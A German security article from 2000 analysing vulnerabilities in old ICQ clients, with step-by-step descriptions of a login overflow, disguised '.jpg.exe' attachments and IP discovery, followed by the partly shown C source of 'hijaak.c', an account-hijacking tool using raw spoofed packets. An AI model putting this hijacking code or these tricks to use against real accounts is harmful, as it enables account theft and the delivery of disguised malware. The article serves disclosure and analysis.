Die Sicherheit von ICQ - This document explains ICQ security problems, in German.
8ceea704b4e028b03aa776a13d90a6f18d352741f933ea5b1b1a837d369c7b2e
<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta name="Author" content="Marc Ruef">
<meta name="GENERATOR" content="Mozilla/4.7 [de] (X11; I; Linux 2.2.13 i686) [Netscape]">
<meta name="Description" content="Eine detaillierte Analyse der Sicherheitsaspekte des beliebten Chat-Clients ICQ von Mirabilis.">
<meta name="KeyWords" content="Computer, Security, Hacking, Cracking, Phreaking, Hacker, Cracker, Phreaker, Kryptoanalyse, Kryptologie, Kryptografie, DES, 3DES, IDEA, DEA, AES, PGP, CCC, Kryptocrew, Internet, Firewall, VPN, Encryption, ISDN, Verschlüsselung, Trojaner, Trojanisches Pferd, Virus, Viren, Virii, Backdoor, Source, Unix, Linux, Windows, MacOS, Nokia, MiniDisc, Chipcards, Chipkarte, Chipcard, Sicherheit, Technik">
<meta name="Keywords" content="Sicherheit ICQ Security Chat Client Bufferoverflow DoS Denial of Service Attacke Hacker Cracker Exploit Exploits Exploitz Hackerz Hack Sicherheitslücke Spoofing Message Source Quelltext C Mirabilis AOL Computec">
<title>Die Sicherheit von ICQ</title>
</head>
<body>
<b><font size=+4>Die Sicherheit von ICQ</font></b>
<br><font point-size="10">Geschrieben von Marc Ruef <<a href="mailto:marc.ruef@computec.ch?subject=Die Sicherheit von ICQ">marc.ruef@computec.ch</a>>
für <a href="http://www.computec.ch/">http://www.computec.ch/</a></font>
<br><font point-size="10">Alle Rechte vorbehalten - Kopieren erlaubt!</font>
<br><font point-size="10">Version 2.0a 18. Juli 2000</font>
<br>
<hr WIDTH="100%">
<br><a NAME="1.0"></a><b><font size=+3>1.0 Inhaltsverzeichnis</font></b>
<blockquote><b><a href="#1.0">1.0 Inhaltsverzeichnis</a></b>
<p><b><a href="#2.0">2.0 Einführung</a></b>
<p><b><a href="#3.0">3.0 Die Sicherheit</a></b>
<blockquote><a href="#3.1">3.1 Die Sicherheitslücken</a>
<blockquote><a href="#3.1.1">3.1.1 ICQ98a: Bufferoverflow durch korrupte
URL</a>
<p><a href="#3.1.2">3.1.2 ICQ98a: Datei-Endungen vortäuschen</a>
<p><a href="#3.1.3">3.1.3 ICQ98b: ICQ-Hijacking</a>
<p><a href="#3.1.4">3.1.4 ICQ98b: IP-Sniffing durch TCP-Pakete</a>
<p><a href="#3.1.5">3.1.5 ICQ98b: Message-Spoofing</a>
<p><a href="#3.1.6">3.1.6 ICQ99a: Passwörter werden im Klartext gespeichert</a>
<p><a href="#3.1.7">3.1.7 ICQ99a: Unsichere Authentifizierung</a>
<p><a href="#3.1.8">3.1.8 ICQ99b: Bufferoverflow dank URL</a>
<p><a href="#3.1.9">3.1.9 ICQ99b: Client-to-Client-Protokoll</a>
<p><a href="#3.1.10">3.1.10 ICQ99b: DoS-Attacke dank guestbook.cgi</a>
<p><a href="#3.1.11">3.1.11 ICQ99b: DoS-Attacke durch URL</a>
<p><a href="#3.1.12">3.1.12 ICQ99b: File-Sharing</a>
<p><a href="#3.1.13">3.1.13 ICQ2000: Und was ist damit?</a></blockquote>
</blockquote>
</blockquote>
<a NAME="2.0"></a><b><font size=+3>2.0 Einführung</font></b>
<blockquote>ICQ (Ausgesprochen "I seek you") konnte sich aufgrund seines
hohen Komforts und stetig wachsenden Funktionsumfang als das meistgenutzte
Chat-System, neben IRC (Internet Relay Chat), des Internets durchsetzen.
Eine Kommunikation kann auf zwei Wege stattfinden: Entweder vom ICQ-Client
über den Chat-Server zu einem anderen User, oder direkt von Anwender
zu Anwender. Offizielle und inoffizielle ICQ-Clients finden sich für
die verschiedensten Plattformen: So sind welche für Windows 9x, Windows
NT, Windows CE, Linux, MacOS, BeOS, BSD und sogar Solaris erhältlich.
Dies ist gewissermassen eine Meisterleistung der Hersteller der inoffiziellen
Client-Software, da das eingesetzte Protokoll nicht öffentlich einsehbar
ist. Für Windows empfiehlt sich eindeutig das Nutzen des neuesten
offiziellen Clients von <a href="http://www.mirabilis.com/">Mirabilis</a>,
da jener den besten Komfort und höchste Sicherheit bietet und mit
allen anderen Clients kompatibel ist. Für Unix-Derivate wurde von
<a href="http://www.mirabilis.com/">Mirabilis</a>
offiziell ein Java-Client herausgegeben, der jedoch niemals an die Bedienerfreundlichkeit
vieler inoffizieller Clients herankommt. Für Linux gibt es neben den
grafischen Clients für die Oberfläche X auch diverse Programme
für die Kommandozeile. Mein absoluter Favourit ist zICQ, der zwar
einige Einbussen in Punkto Funktionsumfang machen muss, dafür stabil
und schnell läuft. Es ist mir dadurch sogar möglich ICQ portabel
auf meinem Handy (NOKIA 9110) zu nutzen: Ich wähle mich bequem unterwegs
per Telnet auf meinem Linux-Server ein, um danach den Konsolen-Client in
Anspruch zu nehmen.
<p>Jeder Nutzer des ICQ-Dienstes erhält bei seinem Eintritt in die
Community eine eindeutige Nummer, die UIN (Universal Identifier Number)
genannt wird. Diese Nummer ist mit der eindeutigen IP-Adresse oder Telefon-Nummer
vergleichbar, da sich dadurch andere User finden und identifizieren lassen.
Die Nummern werden additionell 1 vergeben. Das heisst, dass wenn ich bei
meiner Registrierung die Nummer 10742206 erhalten habe, der kommende Nutzer
automatisch die nächst höhere bekommen wird; also die UIN 10742207.
Mitlerweile existieren über 70000000 Nummern, und wer sich noch mit
einer 7- oder gar 6-stelligen UIN brüsten darf, kann sich ohne weiteres
zu den alten Hasen zählen. UINs mit weniger Stellen werden nicht öffentlich
vergeben und vorzugsweise vom Person von ICQ (<a href="http://www.mirabilis.com/">Mirabilis</a>
und <a href="http://www.aol.de/">AOL</a>) genutzt. Möchte man jemanden
finden, lassen sich mit der Eingabe des vollständigen Namens, E-Mail-Adresse
oder UIN in das "elektronische Telefonbuch" von ICQ den Nutzer einfach
aufspüren. Es gibt auch die offiziellen weissen Seiten, bei denen
sich Benutzer des Dienstes in Listen eintragen lassen, die sich einem speziellen
Thema widmen.
<p>Auf der sogenannten Kontakt-Liste sind alle User eingetragen, mit denen
man regelmässig in Kontakt steht. Auf jener Liste wird stets aktuell
ersichtlich, wer gerade online ist oder den PC für einen kurzen Augenblick
verlassen hat. Es ist möglich den eigenen Status zu verändern,
wobei auf der Kontaktliste des Gegenübers automatisch der neue Status
angezeigt wird. Die gängigen Zustände reichen von "online" über
"away" bis hin zu "do not disturb". Möchte man nicht öffentlich
zugeben, dass man mittels Internet-Zugang zur Zeit im ICQ erreichbar ist,
ändert man den eigenen Status in "invisible", wobei nur noch
<br>Auserwählte einem als "online" in der Kontakt-Liste registrieren
können. Nun ist es möglich mit wenigen Maus-Klicks oder Tasten-Kombinationen
einem ICQ-Nutzer in der eigenen Contact-List eine Message zukommen zu lassen.
Auch sind längere Chat-Sessions möglich, bei denen ganz im Stile
von iRC auch mehrere Anwender in real-time beiwohnen können. Im Laufe
der Zeit hat sich ICQ zu einer wahren Kommunikations-Schaltzentrale entwickelt,
da nun bei den neueren (Windows-)Clients auch das Verschicken multimedialer
Nachrichten möglich wird oder mittels Plug-Ins Voice-over-IP genutzt
werden
<br>kann.
<p>Kurz vor dem Erscheinen der Test-Version von ICQ 2000 machte ein neues
Add-On zu ICQ die Runde: Die sogenannte ActiveList. Dadurch wird die
<br>Usenet-ähnliche Zusammenhaltung einer Diskussion möglich.
Der Moderator muss als erstes die Server-Software auf dem heimischen PC
installieren und
<br>die neu erstellte Liste im Internet anmelden. Ab da an können
Interessierte dieser Community beitreten, um einem zuvor spezifizierten
Thema in Form einer
<br>Diskussion beizuwohnen. Diese Form der Unterhaltung konnte sich (leider)
nicht wirklich durchsetzen, da zu wenige ActiveList-Moderatoren Standleitungen
<br>besitzen, und das Nutzen dieses Zusatzdienstes somit nur temporär
möglich ist.
<p>ICQ heimste sich in vergangener Zeit einiges an Unstimmigkeit der Nutzer
ein, da oft mögliche Hack-Versuche auf Sicherheitslücken von
ICQ abgeschoben
<br>wurden. ICQ alleine ist jedoch selten für Angriffe als Ausgangslage
nutzbar, obwohl Remote-Bufferoverflows und DoS-Attacken bekannt sind. Die
grösste
<br>Gefahr besteht bei einigen Clients, dass einem potentiellen Angreifer
zu viele Informationen über das vermeindliche Zielsystem mitgeteilt
wird: Neben der
<br>aktuellen IP-Adresse werden oft auch private Informationen wie die
Anschrift oder Telefonnummer in den Details bekanntgegeben. Diese potentielle
<br>Sicherheitslücke wurde bei ICQ2000 unwiederruflich behoben. Auch
finden sich zahlreiche War-Tools im Internet, mit denen sich Benutzer mit
hunderten
<br>von Nachrichten überfluten lassen. Die Ports, die ICQ-Clients
standartmässig öffnen ermöglichen nur in den seltensten
Konfigurationen direkte Angriffe - Viel mehr finden UIN-Übernahmen
bei durch die NETBIOS-Freigabe falsch konfigurierte Systeme statt.</blockquote>
<a NAME="3.0"></a><b><font size=+3>3.0 Die Sicherheit</font></b>
<blockquote>
<blockquote>Nützlicherweise kann man beim kleinen Chat-Tool vor der
Version 2000 seine eigene IP-Adresse verstecken lassen, so dass andere
ICQ-Benutzer in ihren Clients jene nicht mehr ohne weiteres ausfindig machen
können: Nach dem Öffnen der PopUp-Liste wählt man den Eintrag
"<tt>Preferences & Security</tt>" und wählt "<tt>Security &
Privacy</tt>". Danach öffnet sich ein weiteres Fenster. Bei "<tt>Chance
ContactList Authorisation</tt>" ist es möglich anzugeben, dass jeder
ICQ-User, der einem in seine Contact-List aufnehmen möchte, zuerst
um Erlaubnis fragen
<br>muss. Selektiert man "<tt>my authorisation is required</tt>", wird
diese Funktion aktiv. Ist das Kästchen bei "<tt>IP Publishing</tt>"
aktiviert, ist die eigene IP-Adresse ohne fremde Hilfsmittel mittels ICQ
nicht herausfindbar. Das Veröffentlichen der eigenen IP-Adresse mittels
ICQ wird so unterdrückt. Trotzdem gibt es spezielle Tools, die einem
ein erstes Abtasten automatisieren lassen. Es gibt auch die Möglichkeit
dem Gegenüber eine Nachricht zukommen zu lassen, und mit der Eingabe
von "<tt>netstat -a</tt>" am heimischen Rechner den Verbindungsaufbau auszuwerten.
Ab ICQ2000 sind diese Attacken jedoch nicht mehr durchführbar, da
die eigene IP-Adresse vom Client her nicht mehr verschickt werden darf.
<p>In vergangener Zeit wurde in den einschlägigen Newsgroups immerwieder
die angeblich unberechenbare Sicherheit von ICQ diskutiert. Viele ICQ-Versionen
weisen Sicherheitslücken auf, die von Angreifern remote für destruktive
Zwecke genutzt werden können. Ein weiteres Manko von ICQ besteht darin,
dass der Chat-Client unbeholfen relativ viel Informationen über das
heimische System herausrückt. Viele dieser besagten Informationen
können für einen Angreifer von besonderem Interesse sein. Auch
das Nutzen einer Firewall vermag viele der durch ICQ zu Tage tretenden
Sicherheitslücken nicht zu schliessen. Grundsätzlich sollte wirklich
auf den Einsatz von ICQ in zu schützenden Umgebungen verzichtet werden.
<p><a NAME="3.1"></a><b><font size=+2>3.1 Die Sicherheitslücken</font></b>
<blockquote><a NAME="3.1.1"></a><b><font size=+1>3.1.1 ICQ98a: Bufferoverflow
durch korrupte URL</font></b>
<blockquote>Zack fand im Jahre 1998 eine ziemlich peinliche Sicherheitslücke
in Form eines Remote-Bufferoverflows bei der Anmeldung des ICQ-Clients
beim Mirabilis-Server, die jedoch durch <a href="http://www.mirabilis.com/">Mirabilis</a>
seit längerem behoben wurde.
<p>Die offiziellen Clients benutzen höchstens die ersten 8 Zeichen
des Passworts zur Authentifizierung; die anderen Stellen werden einfach
ignoriert, so wie dies auch bei der Passwort-Anmeldung auf Unix-Systemen
der Fall ist. Die Linux-Clones machen dies nicht: Würde nun ein Passwort
mit mehr als 8 Zeichen an den Mirabilis-Server geschickt werden, endet
die Aktion in einem Bufferoverrun und man kann sich mit beliebiger UIN
einloggen. Eine gute ICQ-Clone zur Durchführung eines solchen Tests
war der Client für Unix-Derivate namens <a href="../computec_old/mruef/texte/internet/zicq-.2.9.tar.gz">zICQ</a>.
Als UIN musste im Config-File die gewünschte Nummer und als Passwort
simpel "<tt>123456789</tt>" (Einfach grösser als die vorgesehene Länge!)
eingetragen werden. Nach erfolgreichem Eindringen konnten Nachrichten im
Namen des Opfers geschickt und empfangen werden.
<p>Diese Attacke ist kein Spoofing, sondern ein simples Einloggen unter
falschem Namen. Bei Spoofing können nämlich keine Nachrichten
im Namen des anderen empfangen werden. Dieser Trick funktionierte nicht,
wenn jemand schon mit einer gültigen UIN eingeloggt war. Der Fehler
wurde relativ schnell von <a href="http://www.mirabilis.com/">Mirabilis</a>
behoben und kann heute nicht mehr genutzt werden.</blockquote>
<a NAME="3.1.2"></a><b><font size=+1>3.1.2 ICQ98a: Datei-Endung vortäuschen</font></b>
<blockquote>Dieser nun folgend erklärt, von Justin Clift herausgefundene
Bug wurde mit dem Win32 ICQ-Client in der Version 98a 1.3 erfolgreich getestet.
Auch funktioniert diese Attacke im beliebten mIRC-Client. Schickt eine
Person einem anderen User per ICQ eine Datei, so erscheint ein PopUp-Fenster,
in der der Empfänger den Datei-Namen und die kurze
<br>Beschreibung des Senders lesen kann. Nun hat der Empfänger die
Wahl, ob er die Daten verwerfen möchte, ob er sie speichern will und
ob sie nach dem speichern automatisch angezeigt bzw. ausgeführt werden
sollen.
<p>Das Problem besteht nun darin, dass bei diesem PopUp-Fenster der Ausschnitt
für die Anzeige des Datei-Namens in gewissen Fällen nicht ausreichend
ist, und somit nur der Anfang des Dateinamens angezeigt wird. Als Beispiel
kann hier die ausführbare Datei mit dem Namen "<tt>marc4.jpg.exe</tt>"
genommen werden: Der Empfänger sieht auf dem
<br>Bildschirm nur "<tt>marc4.jpg</tt>" als Dateinamen; der exekutive Rest
wird ihm nicht angezeigt. Speichert der Empfänger diese Sendung nun,
und wählt die Option "<tt>Automatisches Anzeigen</tt>" bzw. "<tt>Ausführen
nach dem Speichern</tt>", so wird nicht ein Bild angezeigt, sondern der
vermeindlich korrupter Programmcode ausgeführt.
<p><a href="http://www.mirabilis.com/">Mirabilis</a> wurde über diesen
Fehler informiert, sie versäumten es jedoch, aktiv gegen diesen Fehler
ihrerseits vorzugehen.</blockquote>
<a NAME="3.1.3"></a><b><font size=+1>3.1.3 ICQ98b: ICQ-Hijacking</font></b>
<blockquote>Ein Hacker namens <a href="mailto:wumpus@innocent.com?subject=ICQ-Hijacking">Wumpus</a>
entwickelte in C einen ICQ-Hijacker, der Sicherheitslücken des eingesetzten
Protokolls geschickt ausnutzt, um einen Account zu stehlen. Ist ein User
mit seinem Win32- oder Java-Client eingeloggt, kann das Passwort dieses
Accounts geändert werden, ohne das ursprüngliche Passwort zu
kennen. Sein Programm <a href="#hijaak.c">hijaak.c</a> wurde erfolgreich
gegen die Versionen 1.22 bis 1.26 getestet und zog eine Clone mit dem Namen
<a href="#wumpus4.c">wumpus4.c</a>
mit sich:
<blockquote><a NAME="hijaak.c"></a><tt>/*</tt>
<br><tt> ICQ Hijaak</tt>
<br><tt> Version 1C</tt>
<p><tt> Author: wumpus@innocent.com</tt>
<br><tt> Copyright (c) 1998 Wolvesbane</tt>
<p><tt> By downloading or compiling this program,
you agree to the terms</tt>
<br><tt> of this license. If you do not agree with
any of these terms you</tt>
<br><tt> MUST delete this program
immediately from all storage areas</tt>
<br><tt> (including browser caches).</tt>
<p><tt> (A) You agree not to
use this program in any way that would</tt>
<br><tt> constitute a
violate of any applicable laws. This
may</tt>
<br><tt> included federal
laws if you live in the United States and</tt>
<br><tt> similar laws regarding
computer security in other countries.</tt>
<br><tt> (B) You agree to hold
the authors (referred to collective as</tt>
<br><tt> Wolvesbane) harmless
in any damages that result due to your</tt>
<br><tt> possession or use of
this software.</tt>
<br><tt> (C) Wolvesbane does not claim that
this program implements any</tt>
<br><tt> functions. As
the saying goes, "You get what you pay for." --</tt>
<br><tt> And you didn't pay anything
for this.</tt>
<br><tt> (D) This software is FREE for _NON-COMMERCIAL_
use. You may not</tt>
<br><tt> use this program for
any commercial use (or any other activity</tt>
<br><tt> which makes you
money with the assistance of this program).</tt>
<br><tt> The author is not interested
in commercial use of this program</tt>
<br><tt> (and cannot think of
what commercial use would consist of).</tt>
<br><tt> (E) This program was created using Linux
with IP-Masquerading to</tt>
<br><tt> run the ICQ program
unmodified and without any dissassembly.</tt>
<br><tt> The testing
was done with volunteers, and with a second</tt>
<br><tt> computer logged
into the ICQ network. No ICQ users were</tt>
<br><tt> harmed in the creation
or testing of this program.</tt>
<br><tt> (F) This copyright applies only to the code
written by Wolvesbane,</tt>
<br><tt> and not to anything
included under Fair Use.</tt>
<br><tt> (G) Please note that if you use ANY sections
of this code in your</tt>
<br><tt> work, (which
I expressly allow as long
as it is</tt>
<br><tt> NON-COMMERCIAL), you
are obligated to give me some credit in</tt>
<br><tt> your comments
(if it is a source file ) or in a string</tt>
<br><tt> constant if it is a
binary file. If you do not wish to do so,</tt>
<br><tt> you may NOT include
ANY portion of this file in your own work.</tt>
<br><tt>*/</tt>
<p><tt>#include <arpa/inet.h></tt>
<br><tt>#include <netdb.h></tt>
<br><tt>#include <netinet/in.h></tt>
<br><tt>#include <stdarg.h></tt>
<br><tt>#include <stdio.h></tt>
<br><tt>#include <stdlib.h></tt>
<br><tt>#include <string.h></tt>
<br><tt>#include <sys/socket.h>
/* for AF_INET */</tt>
<br><tt>#include <sys/time.h></tt>
<br><tt>#include <sys/types.h></tt>
<br><tt>#include <unistd.h></tt>
<br><tt>int MultiResolve( char * hostname,</tt>
<br><tt>
int * addr_count,</tt>
<br><tt>
struct in_addr ** addresses );</tt>
<br><tt>enum { FAILURE = -1, SUCCESS = 0 };</tt>
<br><tt>/*=========================================================================*/</tt>
<br><tt>typedef unsigned short int u16;</tt>
<br><tt>typedef unsigned long int u32;</tt>
<br><tt>typedef unsigned char
u8;</tt>
<br><tt>/*=========================================================================*/</tt>
<br><tt>#define byte(v,o) (*((u8 *)(&(v))+(o)))</tt>
<br><tt>#define word(v,o) (*((u16 *)((unsigned char *)(&(v))+(o)) ))</tt>
<br><tt>#define dword(v,o) (*((u32 *)((unsigned char *)(&(v))+(o))
))</tt>
<br><tt>unsigned char icq_check_data[256] = {</tt>
<br><tt> 0x0a, 0x5b, 0x31, 0x5d,
0x20, 0x59, 0x6f, 0x75,</tt>
<br><tt> 0x20, 0x63, 0x61, 0x6e,
0x20, 0x6d, 0x6f, 0x64,</tt>
<br><tt> 0x69, 0x66, 0x79, 0x20,
0x74, 0x68, 0x65, 0x20,</tt>
<br><tt> 0x73, 0x6f, 0x75, 0x6e,
0x64, 0x73, 0x20, 0x49,</tt>
<br><tt> 0x43, 0x51, 0x20, 0x6d,
0x61, 0x6b, 0x65, 0x73,</tt>
<br><tt> 0x2e, 0x20, 0x4a, 0x75,
0x73, 0x74, 0x20, 0x73,</tt>
<br><tt> 0x65, 0x6c, 0x65, 0x63,
0x74, 0x20, 0x22, 0x53,</tt>
<br><tt> 0x6f, 0x75, 0x6e, 0x64,
0x73, 0x22, 0x20, 0x66,</tt>
<br><tt> 0x72, 0x6f, 0x6d, 0x20,
0x74, 0x68, 0x65, 0x20,</tt>
<br><tt> 0x22, 0x70, 0x72, 0x65,
0x66, 0x65, 0x72, 0x65,</tt>
<br><tt> 0x6e, 0x63, 0x65, 0x73,
0x2f, 0x6d, 0x69, 0x73,</tt>
<br><tt> 0x63, 0x22, 0x20, 0x69,
0x6e, 0x20, 0x49, 0x43,</tt>
<br><tt> 0x51, 0x20, 0x6f, 0x72,
0x20, 0x66, 0x72, 0x6f,</tt>
<br><tt> 0x6d, 0x20, 0x74, 0x68,
0x65, 0x20, 0x22, 0x53,</tt>
<br><tt> 0x6f, 0x75, 0x6e, 0x64,
0x73, 0x22, 0x20, 0x69,</tt>
<br><tt> 0x6e, 0x20, 0x74, 0x68,
0x65, 0x20, 0x63, 0x6f,</tt>
<br><tt> 0x6e, 0x74, 0x72, 0x6f,
0x6c, 0x20, 0x70, 0x61,</tt>
<br><tt> 0x6e, 0x65, 0x6c, 0x2e,
0x20, 0x43, 0x72, 0x65,</tt>
<br><tt> 0x64, 0x69, 0x74, 0x3a,
0x20, 0x45, 0x72, 0x61,</tt>
<br><tt> 0x6e, 0x0a, 0x5b, 0x32,
0x5d, 0x20, 0x43, 0x61,</tt>
<br><tt> 0x6e, 0x27, 0x74, 0x20,
0x72, 0x65, 0x6d, 0x65,</tt>
<br><tt> 0x6d, 0x62, 0x65, 0x72,
0x20, 0x77, 0x68, 0x61,</tt>
<br><tt> 0x74, 0x20, 0x77, 0x61,
0x73, 0x20, 0x73, 0x61,</tt>
<br><tt> 0x69, 0x64, 0x3f, 0x20,
0x20, 0x44, 0x6f, 0x75,</tt>
<br><tt> 0x62, 0x6c, 0x65, 0x2d,
0x63, 0x6c, 0x69, 0x63,</tt>
<br><tt> 0x6b, 0x20, 0x6f, 0x6e,
0x20, 0x61, 0x20, 0x75,</tt>
<br><tt> 0x73, 0x65, 0x72, 0x20,
0x74, 0x6f, 0x20, 0x67,</tt>
<br><tt> 0x65, 0x74, 0x20, 0x61,
0x20, 0x64, 0x69, 0x61,</tt>
<br><tt> 0x6c, 0x6f, 0x67, 0x20,
0x6f, 0x66, 0x20, 0x61,</tt>
<br><tt> 0x6c, 0x6c, 0x20, 0x6d,
0x65, 0x73, 0x73, 0x61,</tt>
<br><tt> 0x67, 0x65, 0x73, 0x20,
0x73, 0x65, 0x6e, 0x74,</tt>
<br><tt> 0x20, 0x69, 0x6e, 0x63,
0x6f, 0x6d, 0x69, 0x6e };</tt>
<br><tt>#define MAX_NUM_ADDRESSES 255</tt>
<br><tt>int Resolve( char * hostname, struct in_addr * addr ) {</tt>
<br><tt> struct hostent * hinfo;</tt>
<br><tt> (void)memset( (void
*)addr, 0, sizeof( struct in_addr ));</tt>
<br><tt> if ( inet_aton( hostname,
addr) ) return SUCCESS;</tt>
<br><tt> if ( !(hinfo = gethostbyname(
hostname ) ) ) return FAILURE;</tt>
<br><tt> (void)memcpy( (void
*)addr, (void *)hinfo->h_addr,</tt>
<br><tt>
sizeof(struct in_addr )); return SUCCESS; }</tt>
<br><tt>int MultiResolve( char * hostname, int * addr_count,</tt>
<br><tt> struct in_addr ** addresses
) {</tt>
<br><tt> int
host_count;</tt>
<br><tt> int
i;</tt>
<br><tt> char
* p;</tt>
<br><tt> struct in_addr
address;</tt>
<br><tt> struct hostent
* hinfo;</tt>
<br><tt> if ( inet_aton( hostname,
&address ) ) {</tt>
<br><tt>
p = (char *)malloc(sizeof(address));</tt>
<br><tt>
if ( !p ) {</tt>
<br><tt>
fprintf(stderr,"MultiResolve: Allocation failed!\n");</tt>
<br><tt>
return FAILURE;</tt>
<br><tt>
}</tt>
<br><tt>
(void)memcpy((void *)p,(void *)&address, sizeof(address) );</tt>
<br><tt>
*addr_count = 1;</tt>
<br><tt>
*addresses = (struct in_addr *)p; return SUCCESS; }</tt>
<br><tt> if ( !(hinfo = gethostbyname(hostname)
) ) return FAILURE;</tt>
<br><tt> if ( hinfo->h_length
!= sizeof( struct in_addr ) ) {</tt>
<br><tt>
fprintf(stderr,"MultiResolve: h_length (%d) not equal "\</tt>
<br><tt>
"to size of struct inaddr (%d) ",</tt>
<br><tt>
hinfo->h_length, sizeof(struct in_addr) );</tt>
<br><tt>
return FAILURE;</tt>
<br><tt> }</tt>
<br><tt> host_count = 0;</tt>
<br><tt> for (i = 0; i < MAX_NUM_ADDRESSES;
i++ ) {</tt>
<br><tt>
struct in_addr * addr_ptr;</tt>
<br><tt>
addr_ptr = (struct in_addr *)hinfo->h_addr_list[i];</tt>
<br><tt>
if ( !addr_ptr )</tt>
<br><tt>
break;</tt>
<br><tt>
host_count++;</tt>
<br><tt> }</tt>
<br><tt> p = (char *)malloc(
host_count * hinfo->h_length );</tt>
<br><tt> if ( !p ) {</tt>
<br><tt>
fprintf(stderr,"MultiResolve: Failed to allocate %d bytes\n",</tt>
<br><tt>
host_count * hinfo->h_length );</tt>
<br><tt>
return FAILURE;</tt>
<br><tt>
}</tt>
<br><tt> *addresses = (struct
in_addr *)p;</tt>
<br><tt> for ( i = 0; i <
host_count; i++ ) {</tt>
<br><tt>
(void)memcpy( (void *)p,(void *)hinfo->h_addr_list[i],</tt>
<br><tt>
hinfo->h_length ); p += hinfo->h_length; }</tt>
<br><tt> *addr_count = host_count;
return SUCCESS; }</tt>
<br><tt>#define IP_VERS
0</tt>
<br><tt>#define IP_TOS
1</tt>
<br><tt>#define IP_TOTLEN 2</tt>
<br><tt>#define IP_ID
4</tt>
<br><tt>#define IP_FLAGS 6</tt>
<br><tt>#define IP_TIMETOLIVE 8</tt>
<br><tt>#define IP_PROTOCOL 9</tt>
<br><tt>#define IP_CHECKSUM 10</tt>
<br><tt>#define IP_SRC
12</tt>
<br><tt>#define IP_DST
16</tt>
<br><tt>#define IP_END
20</tt>
<br><tt>#define UDP_SOURCE 0</tt>
<br><tt>#define UDP_DEST 2</tt>
<br><tt>#define UDP_LENGTH 4</tt>
<br><tt>#define UDP_CHECKSUM 6</tt>
<br><tt>#define UDP_END
8</tt>
<br><tt>#define UCHDR_SOURCE 0</tt>
<br><tt>#define UCHDR_DEST 4</tt>
<br><tt>#define UCHDR_PROTOCOL 9</tt>
<br><tt>#define UCHDR_UDPLEN 10</tt>
<br><tt>#define UCHDR_END 12</tt>
<br><tt>#define ICMP_TYPE 0</tt>
<br><tt>#define ICMP_CODE 1</tt>
<br><tt>#define ICMP_CHECKSUM 2</tt>
<br><tt>#define ICMP_END 4</tt>
<br><tt>u16 cksum( u16 * buf, int numWords ) {</tt>
<br><tt> u32 sum;</tt>
<br><tt> sum = 0; while ( numWords
-- ) { sum += *(buf++); }</tt>
<br><tt> sum = ( sum >> 16) +
( sum & 0xffff ); sum += ( sum >> 16 );</tt>
<br><tt> return ~sum ; }</tt>
<br>
<p><tt>void make_ip_hdr( u8
* packet, int length, u8
protocol,</tt>
<br><tt> u16
id, u16 flags, struct in_addr me,</tt>
<br><tt>
struct in_addr you, u8 ttl ) {</tt>
<br><tt> memset( packet, 0, IP_END
);</tt>
<br><tt> byte(*packet, IP_VERS
) = 0x45;</tt>
<br><tt> word(*packet, IP_TOTLEN
) = htons( length );</tt>
<br><tt> byte(*packet, IP_TIMETOLIVE
) = ttl;</tt>
<br><tt> byte(*packet, IP_PROTOCOL
) = protocol;</tt>
<br><tt> word(*packet, IP_ID
) = htons( id );</tt>
<br><tt> word(*packet, IP_FLAGS
) = htons( flags );</tt>
<br><tt> dword(*packet,IP_SRC
) = *((u32 *)&me);</tt>
<br><tt> dword(*packet,IP_DST
) = *((u32 *)&you);</tt>
<br><tt> word(*packet, IP_CHECKSUM
) = cksum( (u16 *)packet, IP_END/2 ); }</tt>
<br><tt>void make_udp_hdr( u8
* packet, int udplength, u16
sport,</tt>
<br><tt>
u16 dport ) {</tt>
<br><tt> u8
* udp;</tt>
<br><tt> static u8
chdr[UCHDR_END];</tt>
<br><tt> u32
pchecksum;</tt>
<p><tt> memset( chdr, 0, UCHDR_END
);</tt>
<p><tt> udp = packet + ( ( byte(*packet,
IP_VERS ) & 0x0F ) * 4 );</tt>
<br><tt> memset( udp, 0, UDP_END
);</tt>
<br><tt> word(*udp, UDP_SOURCE
) = htons( sport );</tt>
<br><tt> word(*udp, UDP_DEST
) = htons( dport );</tt>
<br><tt> word(*udp, UDP_LENGTH
) = htons( udplength );</tt>
<br><tt> memcpy( chdr + UCHDR_SOURCE,
packet + IP_SRC, 8 );</tt>
<br><tt> byte( *chdr, UCHDR_PROTOCOL
) = byte( *packet, IP_PROTOCOL );</tt>
<br><tt> word( *chdr, UCHDR_UDPLEN
) = word( *udp, UDP_LENGTH );</tt>
<br><tt> pchecksum = ( ~cksum(
(u16 *)&chdr, UCHDR_END / 2 ) ) & 0xFFFF;</tt>
<br><tt> if ( udplength &
1 ) { byte( *udp, udplength + 1 ) = 0; }</tt>
<br><tt> pchecksum += ( ~cksum((u16
*)udp, udplength/ 2</tt>
<br><tt> + (udplength&1))
) & 0xFFFF; pchecksum += ( pchecksum >> 16 );</tt>
<br><tt> word( *udp, UDP_CHECKSUM
) = (u16)~pchecksum ; }</tt>
<br><tt>int CreateRawSocket( void )</tt>
<br><tt>{</tt>
<br><tt> int
s;</tt>
<br><tt> int
option;</tt>
<p><tt> s = socket( AF_INET,
SOCK_RAW, IPPROTO_RAW );</tt>
<br><tt> if ( s < 0 ) { perror("Socket:");
exit(-1); }</tt>
<br><tt> option = 1;</tt>
<br><tt> if ( setsockopt( s,
IPPROTO_IP, IP_HDRINCL,</tt>
<br><tt>
(char *)&option, sizeof( option ) ) < 0 ) {</tt>
<br><tt>
perror("Setting IP_HDRINCL"); exit(0); }</tt>
<br><tt> return s; }</tt>
<br><tt>int GetLocalAddress( struct in_addr remote, struct in_addr * local
)</tt>
<br><tt>{</tt>
<br><tt> struct sockaddr_in
laddress;</tt>
<br><tt> struct sockaddr
* laddr = (struct sockaddr *)&laddress;</tt>
<br><tt> struct sockaddr_in
raddress;</tt>
<br><tt> struct sockaddr
* raddr = (struct sockaddr *)&raddress;</tt>
<br><tt> int
s;</tt>
<br><tt> int
err;</tt>
<br><tt> int
len;</tt>
<p><tt> s = socket( AF_INET,
SOCK_DGRAM, IPPROTO_UDP );</tt>
<br><tt> if ( s < 1 ) {</tt>
<br><tt>
return FAILURE;</tt>
<br><tt> }</tt>
<br><tt> raddress.sin_port =
htons( 1984 ); /* DON'T CARE */</tt>
<br><tt> raddress.sin_family
= AF_INET;</tt>
<br><tt> raddress.sin_addr =
remote;</tt>
<p><tt> err = connect(s, raddr,
sizeof(raddress ));</tt>
<br><tt> if ( err < 0 ) {</tt>
<br><tt>
return FAILURE;</tt>
<br><tt> }</tt>
<br><tt> len = sizeof(laddress);</tt>
<br><tt> err = getsockname(s,
laddr, &len );</tt>
